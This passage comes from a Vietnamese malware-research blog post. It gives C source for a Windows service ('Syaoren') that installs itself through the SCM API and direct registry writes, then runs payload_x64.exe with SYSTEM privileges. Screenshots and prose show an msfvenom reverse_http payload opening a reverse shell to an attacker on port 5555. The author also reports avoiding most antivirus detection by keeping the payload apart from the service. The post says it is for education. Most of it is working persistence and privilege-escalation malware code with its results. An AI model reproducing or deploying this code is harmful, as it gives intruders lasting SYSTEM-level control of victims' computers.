REG_DWORD, &startType, sizeof(startType)))) BREAK_WITH_STATUS("Failed to set start type", status); InitUnicodeString(&valueName, L"Type"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_DWORD, &serviceType, sizeof(serviceType)))) BREAK_WITH_STATUS("Failed to set service type", status); printf("[+] Create service success!\n"); returnStatus = TRUE; } while (0); if (hNtdll) CloseHandle(hNtdll); if(hKey) RegCloseKey(hKey); return returnStatus; } BOOL InstallService2() { BOOL returnStatus = FALSE; HKEY hKey = NULL; LSTATUS lResult = 0; DWORD disposition = 0, startType = SERVICE_DEMAND_START, serviceType = SERVICE_WIN32_OWN_PROCESS, errorControl = SERVICE_ERROR_NORMAL; CONST WCHAR subKey[] = L"SYSTEM\\CurrentControlSet\\Services\\Syaoren", imagePath[] = L"C:\\Users\\Syaoren\\Desktop\\PoC\\Service.exe", objectName[] = L"LocalSystem"; do { if (ERROR_SUCCESS != RegCreateKeyExW(HKEY_LOCAL_MACHINE, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, &disposition)) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"ErrorControl", 0, REG_DWORD, &errorControl, sizeof(errorControl))) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"ImagePath", 0, REG_EXPAND_SZ, imagePath, wcslen(imagePath) * sizeof(*imagePath))) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"ObjectName", 0, REG_SZ, objectName, wcslen(objectName) * sizeof(*objectName))) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"Start", 0, REG_DWORD, &startType, sizeof(startType))) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"Type", 0, REG_DWORD, &serviceType, sizeof(serviceType))) break; returnStatus = TRUE; } while (0); RegCloseKey(hKey); return returnStatus; } BOOL InstallService1() { SC_HANDLE hSCM = NULL, hService = NULL; BOOL returnStatus = FALSE; WCHAR path[] = L"C:\\Users\\Syaoren\\Desktop\\PoC\\Service.exe"; SERVICE_DESCRIPTION description = { 0 }; do { if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE))) BREAK_WITH_ERROR("Failed to open SCM"); hService = CreateServiceW(hSCM, L"Syaoren", NULL, SERVICE_CHANGE_CONFIG, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, NULL, NULL); if(!hService) BREAK_WITH_ERROR("Failed to create service"); printf("[+] Create service success\n"); description.lpDescription = L"Who am i? MRX"; if (!ChangeServiceConfig2W(hService, SERVICE_CONFIG_DESCRIPTION, &description)) BREAK_WITH_ERROR("Failed to set up description"); printf("[+] Set description success\n"); returnStatus = TRUE; } while (0); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } BOOL StartService1() { BOOL returnStatus = FALSE; SC_HANDLE hSCM = NULL, hService = NULL; do { if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT))) BREAK_WITH_ERROR("Failed to connect to SCM"); if(!(hService = OpenServiceW(hSCM, L"Syaoren", SERVICE_START))) BREAK_WITH_ERROR("Failed to open service"); if(!StartServiceW(hService, 0, NULL)) BREAK_WITH_ERROR("Failed to start service"); printf("[+] Start service success\n"); returnStatus = TRUE; } while (0); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } BOOL StopService1() { BOOL returnStatus = FALSE; SC_HANDLE hSCM = NULL, hService = NULL; do { if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT))) BREAK_WITH_ERROR("Failed to connect to SCM"); if(!(hService = OpenServiceW(hSCM, L"Syaoren", SERVICE_STOP))) BREAK_WITH_ERROR("Failed to open service"); if(!ControlService(hService, SERVICE_CONTROL_STOP, &g_Status)) BREAK_WITH_ERROR("Failed to stop service"); printf("[+] Stop service success\n"); returnStatus = TRUE; } while (0); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } BOOL UninstallService1() { BOOL returnStatus = FALSE; SERVICE_STATUS status = { 0 }; SC_HANDLE hSCM = NULL, hService = NULL; do { if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT))) BREAK_WITH_ERROR("Failed to connect to SCM"); if(!(hService = OpenServiceW(hSCM, L"Syaoren", DELETE | SERVICE_QUERY_STATUS))) BREAK_WITH_ERROR("Failed to open service"); if(QueryServiceStatus(hService, &status) && status.dwCurrentState == SERVICE_RUNNING) StopService1(); if (!DeleteService(hService)) BREAK_WITH_ERROR("Failed to uninstall service"); printf("[+] Uninstall service success\n"); returnStatus = TRUE; } while (0); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } VOID RunPayload() { WCHAR appPath[] = L"C:\\Users\\Syaoren\\Desktop\\PoC\\payload_x64.exe"; HANDLE hProcess; PROCESS_INFORMATION pi; STARTUPINFOW si; RtlZeroMemory(&pi, sizeof(pi)); RtlZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); if(!CreateProcessW(appPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) return; WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } VOID SetStatus(DWORD status) { g_Status.dwCurrentState = status; g_Status.dwControlsAccepted = status == SERVICE_RUNNING ? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN : 0; SetServiceStatus(g_hService, &g_Status); } VOID WINAPI SyaorenHandler(DWORD dwControl) { switch (dwControl) { case SERVICE_CONTROL_STOP: SetStatus(SERVICE_STOP_PENDING); SetEvent(g_hStopEvent); break; case SERVICE_CONTROL_SHUTDOWN: SetStatus(SERVICE_STOP_PENDING); SetEvent(g_hStopEvent); break; } return; } VOID WINAPI SyaorenMain(DWORD dwNumServiceArgs, LPWSTR* lpServiceArgVectors) { RtlZeroMemory(&g_Status, sizeof(g_Status)); g_Status.dwServiceType = SERVICE_WIN32_OWN_PROCESS; BOOL error = TRUE; HANDLE hThread; DWORD threadId; do { if(!(g_hService = RegisterServiceCtrlHandlerW(L"Syaoren", SyaorenHandler))) break; if(!(g_hStopEvent = CreateEventW(NULL, FALSE, FALSE, NULL))) break; SetStatus(SERVICE_START_PENDING); RunPayload(); error = TRUE; } while (0); if (!error) SetStatus(SERVICE_STOPPED); SetStatus(SERVICE_RUNNING); while (WAIT_TIMEOUT == WaitForSingleObject(g_hStopEvent, 1000)); SetStatus(SERVICE_STOPPED); if(g_hStopEvent) CloseHandle(g_hStopEvent); } ``` ## Kết quả Đầu tiên, ta sử dụng công cụ msfvenom để tạo ra một payload reverse_http để giao tiếp với attacker. ![image](https://hackmd.io/_uploads/Sy4eQ0DxA.png) Ở phía attacker, ta chuẩn bị một handler để tương tác với victim ![image](https://hackmd.io/_uploads/HygfQRPl0.png) Khi victim khởi động máy tính, thì service độc hại sẽ tự động thực thi và kết nối đến attacker. ![image](https://hackmd.io/_uploads/ryK6mAwe0.png) Dùng công cụ Process Hacker, ta có thể thấy rằng service độc hại đã tạo ra process **payload_x64.exe** và process này cũng tạo ra **cmd.exe** để cung cấp reverse shell cho attacker. ![image](https://hackmd.io/_uploads/BJeq4ADgR.png) Khi kiểm tra thuộc tính của service, ta có thể thấy trường **Startup Type** của nó là `automatic`. Điều này có nghĩa là service sẽ tự động khởi động mỗi khi hệ thống victim được khởi động, đảm bảo rằng nó luôn hoạt động từ lúc hệ thống bắt đầu. ![image](https://hackmd.io/_uploads/H1yO4e_eC.png) Khi kiểm tra quyền hạn của **payload_x64.exe**, ta có thể thấy nó có quyền **SYSTEM**. Điều này xảy ra vì **payload_x64.exe** được tạo ra bởi một service và do đó nó sẽ kế thừa token từ service đó. ![image](https://hackmd.io/_uploads/ByRYElue0.png) Có thể thấy process **payload_x64.exe** giao tiếp với attacker ở port **5555** theo đúng như mong đợi. ![image](https://hackmd.io/_uploads/BkMn4AwlC.png) Theo report của virustotal, có **6/70** AV đã phát hiện service là malware. Mình nghĩ kết quả tốt như thế này là do mình tách rời payload ra khỏi service, nếu service chứa cả shellcode luôn thì kết quả sẽ có thể không tốt như thế này. :dog: ![image](https://hackmd.io/_uploads/BJkznyOgC.png) https://www.virustotal.com/gui/file/48ae79c167fb6197ab711b666a21528a51754931c432ac0ac44060156fe0d9c5?nocache=1 ## Kết luận Trong bài viết này, mình đã chia sẻ những nghiên cứu về cách sử dụng service trong bối cảnh của malware. Mình hy vọng những kiến thức này sẽ hữu ích cho các độc giả đang nghiên cứu về malware và giúp họ hiểu rõ hơn về cách sử dụng service để đạt được persistence và privilege escalation. :::warning :zap: Lưu ý rằng, bài viết chỉ mang tính chất giáo dục và không khuyến khích việc sử dụng thông tin để thực hiện các hoạt động xấu hay bất hợp pháp. Nếu có thắc mắc hay ý kiến, đừng ngần ngại chia sẻ với mình để làm cho bài viết trở nên tốt hơn. ::: ## Tham khảo 1. https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create 2. https://attack.mitre.org/techniques/T1569/002/